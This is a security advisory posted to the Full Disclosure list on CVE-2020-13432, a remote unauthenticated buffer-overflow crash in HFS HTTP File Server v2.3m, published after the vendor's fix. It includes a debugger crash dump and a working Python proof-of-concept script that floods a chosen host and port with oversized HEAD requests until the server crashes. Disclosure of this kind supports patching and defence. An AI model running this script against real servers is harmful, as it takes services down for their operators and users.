CVE-2020-13432 - HFS HTTP File Server / Remote Buffer Overflow DoS

From: hyp3rlinx <apparitionsec () gmail com>
Date: Mon, 8 Jun 2020 00:47:14 -0400

```
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:
http://hyp3rlinx.altervista.org/advisories/HFS-HTTP-FILE-SERVER-v2.3-REMOTE-BUFFER-OVERFLOW-DoS.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec


[Vendor]
www.rejetto.com


[Product]
HFS Http File Server v2.3m Build 300


[Vulnerability Type]
Remote Buffer Overflow (DoS)


[CVE Reference]
CVE-2020-13432


[Security Issue]
rejetto HFS (aka HTTP File Server) v2.3m Build #300, when virtual
files or folders are used, allows remote attackers to trigger an
invalid-pointer write access violation via concurrent HTTP requests
with a long URI or long HTTP headers like Cookie, User-Agent etc.

Remote unauthenticated attackers can send concurrent HTTP requests
using an incrementing or specific payload range of junk characters for
values in the URL parameters or HTTP headers sent to the server. This
results in hfs.exe server crash from an invalid pointer write access
violation.

Requirements:
hfs.exe must have at least one saved virtual file or folder present.
Test using a remote IP and NOT from the same machine (localhost).

Dump...

(e4c.3a8): Access violation - code c0000005 (first/second chance not
available)
For analysis of this file, run !analyze -v
WARNING: Stack overflow detected. The unwound frames are extracted from
outside normal stack bounds.
eax=000a1390 ebx=000a138c ecx=006eb188 edx=001b0000 esi=00000000
edi=00000002
eip=777ef8b4 esp=000a0e0c ebp=000a12cc iopl=0         nv up ei pl nz na pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00210206
ntdll!RtlpResolveAssemblyStorageMapEntry+0x18:
777ef8b4 53              push    ebx
0:000> !load winext/msec
0:000> !exploitable
WARNING: Stack overflow detected. The unwound frames are extracted from
outside normal stack bounds.
*** WARNING: Unable to verify checksum for hfs.exe
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - User Mode Write AV starting at
ntdll!RtlpResolveAssemblyStorageMapEntry+0x0000000000000018
(Hash=0x7a29717c.0x325e6a71)

PROCESS_NAME:  hfs.exe

FOLLOWUP_IP:
hfs+8fad7
0048fad7 8945f0          mov     dword ptr [ebp-10h],eax

WRITE_ADDRESS:  000a0e08


[References]
https://github.com/rejetto/hfs2/releases/tag/v2.4-rc01


[Exploit/POC]
from socket import *
import time,sys

#HFS HTTP File Server v2.3m build 300.
#Vendor: www.rejetto.com
#Remote Remote Buffer Overflow DoS
#Note: hfs.exe must have at least one saved virtual file or folder on the
target
#test using a remote IP and not from the same machine.
#Discovery: hyp3rlinx
#hyp3rlinx.altervista.org
#ISR: ApparitionSec
#=========================================================================
res=""
once=0
cnt=0
max_requests=1666

def hfs_dos():

    global ip,port,length,res,once,cnt,max_requests

    cnt+=1

    length += 1
    payload = "A"*length

    try:
        s=socket(AF_INET, SOCK_STREAM)
        s.settimeout(2)
        s.connect((ip,port))
        ##bof ="HEAD / HTTP/1.1\r\nHost: "+ip+"Cookie: "+payload+"\r\n\r\n"
        bof ="HEAD /?mode="+payload+" HTTP/1.1\r\nHost: "+ip+"\r\n\r\n"
        s.send(bof.encode("utf-8"))
        if once==0:
            once+=1
            res = s.recv(128)
            if res != "":
                print("Targets up please wait...")
                if "HFS 2.3m" not in str(res):
                    print("[!] Non vulnerable HFS version, exiting :(")
                    exit()
    except Exception as e:
        if e != None:
            if str(e).find("timed out")!=-1:
                if res=="":
                    print("[!] Target is not up or behind a firewall? :(")
                    exit()
                else:
                    print("[!] Done!")
                    exit()
    s.close()

    if cnt == max_requests:
        return False
    return True


def msg():
    print("HFS HTTP File Server v2.3m build 300.")
    print("Unauthenticated Remote Buffer Overflow (DoS - PoC)")
    print("Virtual HFS saved file or folder required.")
    print("Run from a different machine (IP) than the target.")
    print("By Hyp3rlinx - ApparitionSec\n")

if __name__=="__main__":

    length=3

    if len(sys.argv) != 3:
        msg()
        print("Usage: <hfs.exe Server>, <Port (usually 8080)>")
        exit()

    ip = sys.argv[1]
    port = int(sys.argv[2])

    msg()

    while True:
        if not hfs_dos():
            print("[!] Failed, non vuln version or no virtual files exist
:(")
            break
```

```
[POC Video URL]
https://www.youtube.com/watch?v=qQ-EawfXuWY


[Network Access]
Remote


[Severity]
High


[Disclosure Timeline]
Vendor Notification: May 18, 2020
Vendor reply: May 18, 2020
Vendor confirm vulnerability: May 19, 2020
Vendor creates fix: May 20, 2020
Vendor released new version 2.4 : June 7, 2020
June 8, 2020 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/
```

⇦ By Date ⇨ ⇦ By Thread ⇨

Current thread:

- **CVE-2020-13432 - HFS HTTP File Server / Remote Buffer Overflow DoS** *hyp3rlinx (Jun 09)*

Site Search

Nmap Security Scanner
Ref Guide
Install Guide
Docs
Download
Nmap OEM

Npcap packet capture
User's Guide
API docs
Download
Npcap OEM

Security Lists
Nmap Announce
Nmap Dev
Full Disclosure
Open Source Security
BreachExchange

Security Tools
Vuln scanners
Password audit
Web scanners
Wireless
Exploitation

About
About/Contact
Privacy
Advertising
Nmap Public Source License